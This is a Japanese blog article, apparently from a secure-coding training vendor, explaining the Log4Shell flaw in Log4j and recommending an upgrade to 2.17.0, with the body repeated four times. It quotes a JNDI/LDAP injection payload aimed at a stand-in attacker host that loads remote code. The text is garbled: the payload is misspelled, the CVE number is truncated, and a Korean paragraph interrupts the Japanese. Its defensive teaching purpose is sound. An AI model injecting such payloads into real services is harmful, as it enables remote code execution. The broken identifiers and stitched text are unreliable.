
Log4j脆弱性の説明 - 攻撃ベクトルと予防方法
12月9日、JavaライブラリLog4jのゼロデイエクスプロイトが公開されました。CVE-44228、通称Log4jシェル、このエクスプロイトによりリモートコード実行が可能となるため「高深刻度」評価を受けています(RCE)。さらに、log4j-coreは最も広く使用されているJavaロギングライブラリの一つであるため、数百万のアプリケーションが危険に晒されています。
Log4Shellを扱うために必要な技術を素早くレベルアップしたいですか?
Log4Shellの基本概念から始め、Missionというシミュレーターでこの脆弱性の悪用を体験できるショーケースを作成しました。今回のミッションでは、Log4j脆弱性がインフラストラクチャやアプリケーションにどのような影響を与え得るかをご案内します。ショーケースに直接移動するにはこちらをクリックしてください。または、この脆弱性について詳しく知りたい場合は読み進めてください。
昔のニュース?
エクスプロイトは新しいものではありません。セキュリティ研究者たちは、2016年のブラックハット講演でアルヴァロ・ムニョスとオレクサンドル・ミロシュが既に強調していました。「アプリケーションは信頼できないデータでJNDIルックアップを実行すべきではない」と述べ、対象となるJNDI/LDAPインジェクションがどのようにリモートコード実行につながるかを説明しました。これがまさにLog4Shellの核心です。
攻撃ベクトル
Log4Shellのインジェクションペイロードは以下の通りです。
$ {indi:ldap: //attacker.host/xyz}
이를 이해하려면 자바의 표현식 언어 (EL) 에 대해 알아야 합니다.다음 구문으로 작성된 표현식: $ {expr} 런타임에 평가됩니다.예를 들어 $ {java:version} 은 사용 중인 자바 버전을 반환합니다.
次にJNDI(Java Naming and Directory Interface)があります。これは、プロトコル(LDAP、DNS、RMIなど)を使用してサービスに接続し、データやリソースを検索できるようにするAPIです。簡単に言えば、上記の悪意のあるペイロードの例では、JNDIは攻撃者が制御するLDAPサーバーを対象に検索を実行します。例えば、その応答は悪意のあるコードを含むJavaクラスファイルを指す可能性があり、 このファイルは脆弱なサーバー上で実行されることになります。
この脆弱性がこれほど問題視される理由は、Log4jがすべてのログエントリを評価し、「jndi」接頭辞が付いたEL構文で記述されたすべての記録されたユーザー入力を照会するためです。ペイロードは、フォームフィールドのようにユーザーがデータを入力できるあらゆる場所に挿入可能です。また、HTTPヘッダー(例:ユーザーエージェントや X-Forwarded-For、その他のヘッダー)もペイロードを送信するようにカスタマイズ可能です。
エクスプロイトを直接体験するには、ショーケースへ行き、2段階目「体験インパクト」へ進んでください。
予防:認識
Log4jの脆弱なコードはパッチが適用されているため、アップグレードはすべてのアプリケーションで推奨される措置です。ただし、バージョン2.15.0および2.16.0にはDDoS攻撃やその他の脆弱性が含まれているため、12月末からは2.17.0へのアップグレードが推奨されます。
コードを書く開発者として、私たちは常にセキュリティを考慮しなければなりません。Log4Shellは、サードパーティのフレームワークやライブラリを使用する際にリスクが伴うことを明らかにしました。私たちは、安全だと無邪気に考えている外部ソースを使用することで、アプリケーションのセキュリティが損なわれる可能性があるという事実を心に留めておく必要があります。
この脆弱性を防ぐことはできたでしょうか?はい、いいえ。一方で、脆弱なコンポーネントがサードパーティ製ソフトウェアを通じて導入される場合のみ、開発者ができることは多くあります。一方で、これを通じて得られた教訓は繰り返し語られてきたものです。つまり、ユーザー入力を決して信用してはならないということです。
セキュアコードウォリアーは、セキュリティを重視する開発者がコードの脆弱性発生を防止する最善の方法であると信じています。SCWはプログラミングフレームワーク別の教育を大規模に提供するため、企業顧客はレポートデータを活用して影響を受けるJava開発者が誰であるかを迅速に把握できました。また、SCW教育を受けたセキュリティ専門家の支援により、Log4jのアップグレードを加速させました。
特にJava開発者のために、Secure Code Warriorは無料のIntelliJプラグイン「Sensei」を提供しています。このルールベースのコード分析ツールは、コーディングガイドラインを適用し、脆弱性を予防・解決するために使用できます。ルールを直接作成するか、事前に用意されたルールを利用できます。レシピ集。レシピを閲覧し、Log4jクックブックのダウンロードもお忘れなく。Log4Shell脆弱性を瞬時に発見・解決するのに役立ちます。
Log4Shellに対する防御技術をアップグレードしてください
このブログ記事で学んだ内容を実際に適用してみたいですか?ショーケースがお役に立てるかもしれません。ショーケースを開始すると、この脆弱性を素早く確認した後、ガイドされた手順に従ってエクスプロイトを試行できるシミュレーション環境へ移行します。


2021年12月、JavaライブラリLog4jに深刻なセキュリティ脆弱性Log4Shellが公開されました。本ドキュメントでは、Log4Shell脆弱性を最も簡潔な形で分解し、基本事項を把握するとともに、この脆弱性に関する知識を基に、シミュレートされたウェブサイトを悪用できる練習環境を紹介します。

セキュアコードウォリアーは、ソフトウェア開発ライフサイクル全体を通じてコードを保護し、サイバーセキュリティを最優先とする文化を組織に根付かせるために存在します。AppSec管理者、開発者、CISO、あるいはセキュリティに関わるあらゆる立場の方々に対し、組織が安全でないコードに関連するリスクを軽減できるよう支援します。
デモ予約Laura Verheyde はSecure Code Warrior のソフトウェア開発者で、脆弱性のリサーチとMissions および Coding labs のコンテンツ作成に注力している。


12月9日、JavaライブラリLog4jのゼロデイエクスプロイトが公開されました。CVE-44228、通称Log4jシェル、このエクスプロイトによりリモートコード実行が可能となるため「高深刻度」評価を受けています(RCE)。さらに、log4j-coreは最も広く使用されているJavaロギングライブラリの一つであるため、数百万のアプリケーションが危険に晒されています。
Log4Shellを扱うために必要な技術を素早くレベルアップしたいですか?
Log4Shellの基本概念から始め、Missionというシミュレーターでこの脆弱性の悪用を体験できるショーケースを作成しました。今回のミッションでは、Log4j脆弱性がインフラストラクチャやアプリケーションにどのような影響を与え得るかをご案内します。ショーケースに直接移動するにはこちらをクリックしてください。または、この脆弱性について詳しく知りたい場合は読み進めてください。
昔のニュース?
エクスプロイトは新しいものではありません。セキュリティ研究者たちは、2016年のブラックハット講演でアルヴァロ・ムニョスとオレクサンドル・ミロシュが既に強調していました。「アプリケーションは信頼できないデータでJNDIルックアップを実行すべきではない」と述べ、対象となるJNDI/LDAPインジェクションがどのようにリモートコード実行につながるかを説明しました。これがまさにLog4Shellの核心です。
攻撃ベクトル
Log4Shellのインジェクションペイロードは以下の通りです。
$ {indi:ldap: //attacker.host/xyz}
이를 이해하려면 자바의 표현식 언어 (EL) 에 대해 알아야 합니다.다음 구문으로 작성된 표현식: $ {expr} 런타임에 평가됩니다.예를 들어 $ {java:version} 은 사용 중인 자바 버전을 반환합니다.
次にJNDI(Java Naming and Directory Interface)があります。これは、プロトコル(LDAP、DNS、RMIなど)を使用してサービスに接続し、データやリソースを検索できるようにするAPIです。簡単に言えば、上記の悪意のあるペイロードの例では、JNDIは攻撃者が制御するLDAPサーバーを対象に検索を実行します。例えば、その応答は悪意のあるコードを含むJavaクラスファイルを指す可能性があり、 このファイルは脆弱なサーバー上で実行されることになります。
この脆弱性がこれほど問題視される理由は、Log4jがすべてのログエントリを評価し、「jndi」接頭辞が付いたEL構文で記述されたすべての記録されたユーザー入力を照会するためです。ペイロードは、フォームフィールドのようにユーザーがデータを入力できるあらゆる場所に挿入可能です。また、HTTPヘッダー(例:ユーザーエージェントや X-Forwarded-For、その他のヘッダー)もペイロードを送信するようにカスタマイズ可能です。
エクスプロイトを直接体験するには、ショーケースへ行き、2段階目「体験インパクト」へ進んでください。
予防:認識
Log4jの脆弱なコードはパッチが適用されているため、アップグレードはすべてのアプリケーションで推奨される措置です。ただし、バージョン2.15.0および2.16.0にはDDoS攻撃やその他の脆弱性が含まれているため、12月末からは2.17.0へのアップグレードが推奨されます。
コードを書く開発者として、私たちは常にセキュリティを考慮しなければなりません。Log4Shellは、サードパーティのフレームワークやライブラリを使用する際にリスクが伴うことを明らかにしました。私たちは、安全だと無邪気に考えている外部ソースを使用することで、アプリケーションのセキュリティが損なわれる可能性があるという事実を心に留めておく必要があります。
この脆弱性を防ぐことはできたでしょうか?はい、いいえ。一方で、脆弱なコンポーネントがサードパーティ製ソフトウェアを通じて導入される場合のみ、開発者ができることは多くあります。一方で、これを通じて得られた教訓は繰り返し語られてきたものです。つまり、ユーザー入力を決して信用してはならないということです。
セキュアコードウォリアーは、セキュリティを重視する開発者がコードの脆弱性発生を防止する最善の方法であると信じています。SCWはプログラミングフレームワーク別の教育を大規模に提供するため、企業顧客はレポートデータを活用して影響を受けるJava開発者が誰であるかを迅速に把握できました。また、SCW教育を受けたセキュリティ専門家の支援により、Log4jのアップグレードを加速させました。
特にJava開発者のために、Secure Code Warriorは無料のIntelliJプラグイン「Sensei」を提供しています。このルールベースのコード分析ツールは、コーディングガイドラインを適用し、脆弱性を予防・解決するために使用できます。ルールを直接作成するか、事前に用意されたルールを利用できます。レシピ集。レシピを閲覧し、Log4jクックブックのダウンロードもお忘れなく。Log4Shell脆弱性を瞬時に発見・解決するのに役立ちます。
Log4Shellに対する防御技術をアップグレードしてください
このブログ記事で学んだ内容を実際に適用してみたいですか?ショーケースがお役に立てるかもしれません。ショーケースを開始すると、この脆弱性を素早く確認した後、ガイドされた手順に従ってエクスプロイトを試行できるシミュレーション環境へ移行します。

12月9日、JavaライブラリLog4jのゼロデイエクスプロイトが公開されました。CVE-44228、通称Log4jシェル、このエクスプロイトによりリモートコード実行が可能となるため「高深刻度」評価を受けています(RCE)。さらに、log4j-coreは最も広く使用されているJavaロギングライブラリの一つであるため、数百万のアプリケーションが危険に晒されています。
Log4Shellを扱うために必要な技術を素早くレベルアップしたいですか?
Log4Shellの基本概念から始め、Missionというシミュレーターでこの脆弱性の悪用を体験できるショーケースを作成しました。今回のミッションでは、Log4j脆弱性がインフラストラクチャやアプリケーションにどのような影響を与え得るかをご案内します。ショーケースに直接移動するにはこちらをクリックしてください。または、この脆弱性について詳しく知りたい場合は読み進めてください。
昔のニュース?
エクスプロイトは新しいものではありません。セキュリティ研究者たちは、2016年のブラックハット講演でアルヴァロ・ムニョスとオレクサンドル・ミロシュが既に強調していました。「アプリケーションは信頼できないデータでJNDIルックアップを実行すべきではない」と述べ、対象となるJNDI/LDAPインジェクションがどのようにリモートコード実行につながるかを説明しました。これがまさにLog4Shellの核心です。
攻撃ベクトル
Log4Shellのインジェクションペイロードは以下の通りです。
$ {indi:ldap: //attacker.host/xyz}
이를 이해하려면 자바의 표현식 언어 (EL) 에 대해 알아야 합니다.다음 구문으로 작성된 표현식: $ {expr} 런타임에 평가됩니다.예를 들어 $ {java:version} 은 사용 중인 자바 버전을 반환합니다.
次にJNDI(Java Naming and Directory Interface)があります。これは、プロトコル(LDAP、DNS、RMIなど)を使用してサービスに接続し、データやリソースを検索できるようにするAPIです。簡単に言えば、上記の悪意のあるペイロードの例では、JNDIは攻撃者が制御するLDAPサーバーを対象に検索を実行します。例えば、その応答は悪意のあるコードを含むJavaクラスファイルを指す可能性があり、 このファイルは脆弱なサーバー上で実行されることになります。
この脆弱性がこれほど問題視される理由は、Log4jがすべてのログエントリを評価し、「jndi」接頭辞が付いたEL構文で記述されたすべての記録されたユーザー入力を照会するためです。ペイロードは、フォームフィールドのようにユーザーがデータを入力できるあらゆる場所に挿入可能です。また、HTTPヘッダー(例:ユーザーエージェントや X-Forwarded-For、その他のヘッダー)もペイロードを送信するようにカスタマイズ可能です。
エクスプロイトを直接体験するには、ショーケースへ行き、2段階目「体験インパクト」へ進んでください。
予防:認識
Log4jの脆弱なコードはパッチが適用されているため、アップグレードはすべてのアプリケーションで推奨される措置です。ただし、バージョン2.15.0および2.16.0にはDDoS攻撃やその他の脆弱性が含まれているため、12月末からは2.17.0へのアップグレードが推奨されます。
コードを書く開発者として、私たちは常にセキュリティを考慮しなければなりません。Log4Shellは、サードパーティのフレームワークやライブラリを使用する際にリスクが伴うことを明らかにしました。私たちは、安全だと無邪気に考えている外部ソースを使用することで、アプリケーションのセキュリティが損なわれる可能性があるという事実を心に留めておく必要があります。
この脆弱性を防ぐことはできたでしょうか?はい、いいえ。一方で、脆弱なコンポーネントがサードパーティ製ソフトウェアを通じて導入される場合のみ、開発者ができることは多くあります。一方で、これを通じて得られた教訓は繰り返し語られてきたものです。つまり、ユーザー入力を決して信用してはならないということです。
セキュアコードウォリアーは、セキュリティを重視する開発者がコードの脆弱性発生を防止する最善の方法であると信じています。SCWはプログラミングフレームワーク別の教育を大規模に提供するため、企業顧客はレポートデータを活用して影響を受けるJava開発者が誰であるかを迅速に把握できました。また、SCW教育を受けたセキュリティ専門家の支援により、Log4jのアップグレードを加速させました。
特にJava開発者のために、Secure Code Warriorは無料のIntelliJプラグイン「Sensei」を提供しています。このルールベースのコード分析ツールは、コーディングガイドラインを適用し、脆弱性を予防・解決するために使用できます。ルールを直接作成するか、事前に用意されたルールを利用できます。レシピ集。レシピを閲覧し、Log4jクックブックのダウンロードもお忘れなく。Log4Shell脆弱性を瞬時に発見・解決するのに役立ちます。
Log4Shellに対する防御技術をアップグレードしてください
このブログ記事で学んだ内容を実際に適用してみたいですか?ショーケースがお役に立てるかもしれません。ショーケースを開始すると、この脆弱性を素早く確認した後、ガイドされた手順に従ってエクスプロイトを試行できるシミュレーション環境へ移行します。

以下のリンクをクリックし、このリソースのPDFをダウンロードしてください。
セキュアコードウォリアーは、ソフトウェア開発ライフサイクル全体を通じてコードを保護し、サイバーセキュリティを最優先とする文化を組織に根付かせるために存在します。AppSec管理者、開発者、CISO、あるいはセキュリティに関わるあらゆる立場の方々に対し、組織が安全でないコードに関連するリスクを軽減できるよう支援します。
レポートを見るデモ予約Laura Verheyde はSecure Code Warrior のソフトウェア開発者で、脆弱性のリサーチとMissions および Coding labs のコンテンツ作成に注力している。
12月9日、JavaライブラリLog4jのゼロデイエクスプロイトが公開されました。CVE-44228、通称Log4jシェル、このエクスプロイトによりリモートコード実行が可能となるため「高深刻度」評価を受けています(RCE)。さらに、log4j-coreは最も広く使用されているJavaロギングライブラリの一つであるため、数百万のアプリケーションが危険に晒されています。
Log4Shellを扱うために必要な技術を素早くレベルアップしたいですか?
Log4Shellの基本概念から始め、Missionというシミュレーターでこの脆弱性の悪用を体験できるショーケースを作成しました。今回のミッションでは、Log4j脆弱性がインフラストラクチャやアプリケーションにどのような影響を与え得るかをご案内します。ショーケースに直接移動するにはこちらをクリックしてください。または、この脆弱性について詳しく知りたい場合は読み進めてください。
昔のニュース?
エクスプロイトは新しいものではありません。セキュリティ研究者たちは、2016年のブラックハット講演でアルヴァロ・ムニョスとオレクサンドル・ミロシュが既に強調していました。「アプリケーションは信頼できないデータでJNDIルックアップを実行すべきではない」と述べ、対象となるJNDI/LDAPインジェクションがどのようにリモートコード実行につながるかを説明しました。これがまさにLog4Shellの核心です。
攻撃ベクトル
Log4Shellのインジェクションペイロードは以下の通りです。
$ {indi:ldap: //attacker.host/xyz}
이를 이해하려면 자바의 표현식 언어 (EL) 에 대해 알아야 합니다.다음 구문으로 작성된 표현식: $ {expr} 런타임에 평가됩니다.예를 들어 $ {java:version} 은 사용 중인 자바 버전을 반환합니다.
次にJNDI(Java Naming and Directory Interface)があります。これは、プロトコル(LDAP、DNS、RMIなど)を使用してサービスに接続し、データやリソースを検索できるようにするAPIです。簡単に言えば、上記の悪意のあるペイロードの例では、JNDIは攻撃者が制御するLDAPサーバーを対象に検索を実行します。例えば、その応答は悪意のあるコードを含むJavaクラスファイルを指す可能性があり、 このファイルは脆弱なサーバー上で実行されることになります。
この脆弱性がこれほど問題視される理由は、Log4jがすべてのログエントリを評価し、「jndi」接頭辞が付いたEL構文で記述されたすべての記録されたユーザー入力を照会するためです。ペイロードは、フォームフィールドのようにユーザーがデータを入力できるあらゆる場所に挿入可能です。また、HTTPヘッダー(例:ユーザーエージェントや X-Forwarded-For、その他のヘッダー)もペイロードを送信するようにカスタマイズ可能です。
エクスプロイトを直接体験するには、ショーケースへ行き、2段階目「体験インパクト」へ進んでください。
予防:認識
Log4jの脆弱なコードはパッチが適用されているため、アップグレードはすべてのアプリケーションで推奨される措置です。ただし、バージョン2.15.0および2.16.0にはDDoS攻撃やその他の脆弱性が含まれているため、12月末からは2.17.0へのアップグレードが推奨されます。
コードを書く開発者として、私たちは常にセキュリティを考慮しなければなりません。Log4Shellは、サードパーティのフレームワークやライブラリを使用する際にリスクが伴うことを明らかにしました。私たちは、安全だと無邪気に考えている外部ソースを使用することで、アプリケーションのセキュリティが損なわれる可能性があるという事実を心に留めておく必要があります。
この脆弱性を防ぐことはできたでしょうか?はい、いいえ。一方で、脆弱なコンポーネントがサードパーティ製ソフトウェアを通じて導入される場合のみ、開発者ができることは多くあります。一方で、これを通じて得られた教訓は繰り返し語られてきたものです。つまり、ユーザー入力を決して信用してはならないということです。
セキュアコードウォリアーは、セキュリティを重視する開発者がコードの脆弱性発生を防止する最善の方法であると信じています。SCWはプログラミングフレームワーク別の教育を大規模に提供するため、企業顧客はレポートデータを活用して影響を受けるJava開発者が誰であるかを迅速に把握できました。また、SCW教育を受けたセキュリティ専門家の支援により、Log4jのアップグレードを加速させました。
特にJava開発者のために、Secure Code Warriorは無料のIntelliJプラグイン「Sensei」を提供しています。このルールベースのコード分析ツールは、コーディングガイドラインを適用し、脆弱性を予防・解決するために使用できます。ルールを直接作成するか、事前に用意されたルールを利用できます。レシピ集。レシピを閲覧し、Log4jクックブックのダウンロードもお忘れなく。Log4Shell脆弱性を瞬時に発見・解決するのに役立ちます。
Log4Shellに対する防御技術をアップグレードしてください
このブログ記事で学んだ内容を実際に適用してみたいですか?ショーケースがお役に立てるかもしれません。ショーケースを開始すると、この脆弱性を素早く確認した後、ガイドされた手順に従ってエクスプロイトを試行できるシミュレーション環境へ移行します。




%20(1).avif)
.avif)
